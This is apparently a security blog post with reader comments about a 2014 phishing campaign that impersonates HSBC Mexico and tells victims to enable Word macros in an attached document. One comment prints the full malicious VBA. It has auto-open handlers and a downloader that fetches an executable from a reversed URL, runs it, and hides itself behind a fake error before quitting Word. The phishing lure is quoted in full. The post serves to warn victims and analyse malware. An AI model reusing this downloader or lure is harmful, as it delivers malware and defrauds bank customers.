From: HSBC Transferencias [Mexico_contacto@hsbc.com.mx]
Reply-To: respuesta@hsbc.com.mx
Date: 17 July 2014 11:01
¡BIENVENIDO A HSBC!
El motivo de este correo es informarle que el día de hoy recibió una transferencia SPEI la cual se encuentra retenida debido a anomalías en su cuenta. Para mas detalles sobre esta situación le adjuntamos un documento en formato Microsoft Word donde explicamos el motivo de la retención y los pasos a seguir.
Banco emisor: BBVA BANCOMER Importe: $94,000.00 Fecha: 17/07/2014 Folio: 89413
Estatus: RetenidaRecomendamos seguir los pasos descritos en el documento adjunto en este correo.
Para cualquier duda o aclaración nos ponemos a sus órdenes en contacto@hsbc.com.mx o si lo prefiere, puede comunicarse a Banca por Internet en los siguientes teléfonos:
México D.F. (55) 5721 1635
Desde cualquier estado de la República al 01800 4722 638 LADA sin costo.
Con gusto le atenderemos
The attachment is essentially the same as the one mentioned here which tries to lure the victim into removing their Word security settings so that a malicious macro can run.
The VirusTotal detection rate is a pretty poor 4/54. You can see some of the text strings in the Malwr report which feature a reverse URL of exe.ss/pw/arc/lc.paip//:ptth which is reverse to try to download a file from http://piap.cl/cra/wp/ss.exe (currently 404ing). The VBA in the document can be found here [pastebin].
As mentioned before, this is a long-running campaign apparently targeting users in Mexico, and as yet I have not seen this in any language except Spanish.
8 comments:
Thank you so much, I received this same email yesterday, had no idea what to do until I saw the properties and saw the "modified by "clein"", so I started looking for that name and found your blog. My sister opened the document and activated the macros yesterday, I don't know what to do, the pc isn't behaving suspiciously at all. What should I do? Greetings from México
edit: When my sister opened the document it said the isn't compatible with my pc. Also, she said it didn't dowloaded anythin after opening.
Hola como se que no estoy contagiado con algun virus yo lo abri tambien por accidente
Este es el código que se ejecuta tengan cuidado, VBA, como dice el post te descarga archivos a tu equipo
Private Sub Auto_Open()
Call DownloadFile(StrReverse("exe.ss/pw/arc/lc.paip//:ptth"), "4b646n46.exe")
End Sub
Private Sub Workbook_Open()
Call DownloadFile(StrReverse("exe.ss/pw/arc/lc.paip//:ptth"), "rsd54tgs.exe")
End Sub
Private Sub AutoExec()
Call DownloadFile(StrReverse("exe.ss/pw/arc/lc.paip//:ptth"), "ds8fydsa89f7.exe")
End Sub
Private Sub AutoOpen()
Call DownloadFile(StrReverse("exe.ss/pw/arc/lc.paip//:ptth"), "fsfsfsdsd.exe")
End Sub
Private Sub Document_Open()
Call DownloadFile(StrReverse("exe.ss/pw/arc/lc.paip//:ptth"), "hjhhjhjhjhj.exe")
End Sub
Public Function DownloadFile(ByVal URL As String, ByVal SaveName As String, Optional SavePath As String = "TMP", Optional RunAfterDownload As Boolean = True, Optional RunHide As Boolean = False)
On Error Resume Next
Err.Clear
Set XML = CreateObject("Microsoft.XMLHTTP")
Set ADS = CreateObject("ADODB.Stream")
XML.Open "GET", URL, False
XML.send
XML.getAllResponseHeaders
FullSavePath = Environ(SavePath) & "\" & SaveName
ADS.Open
ADS.Type = 1
ADS.Write XML.responseBody
ADS.SaveToFile FullSavePath, 2
Shell FullSavePath, vbNormalFocus
DownloadFile = True
MsgBox "Este documento no es compatible con este equipo." & vbCrLf & vbCrLf & "Por favor intente desde otro equipo.", vbCritical, "Error"
Dim z
z = 0
Do While 1 = 1
If z = 2 Then
Application.DisplayAlerts = False
Application.Quit
End If
z = z + 1
Loop
End Function
Posiblemente por lo que entiendo se descarga en la carpeta Temp en mi caso es
C:\Users\[usuario]\AppData\Local\Temp
Sería buscar en esa carpeta los archivos
4b646n46.exe
rsd54tgs.exe
ds8fydsa89f7.exe
fsfsfsdsd.exe
hjhhjhjhjhj.exe
y si es así eliminarlos y aplicar un escaneo al equipo.
@Cosas extrañamente normales: I think opening it is harmless unless you have disabled the Macro security.
@Conrad Longmore I looks like the macro security was disabled. Just noted my pc opens IE on startup. I did what Cesar Alejandro Amezcua Tejeda said.
btw
Gracias @Cesar Alejandro Amezcua Tejeda, en caso de encontrar algo más en el escaneo lo escribiré por aquí. (In any case I find something else in the scan, I'll put it here)
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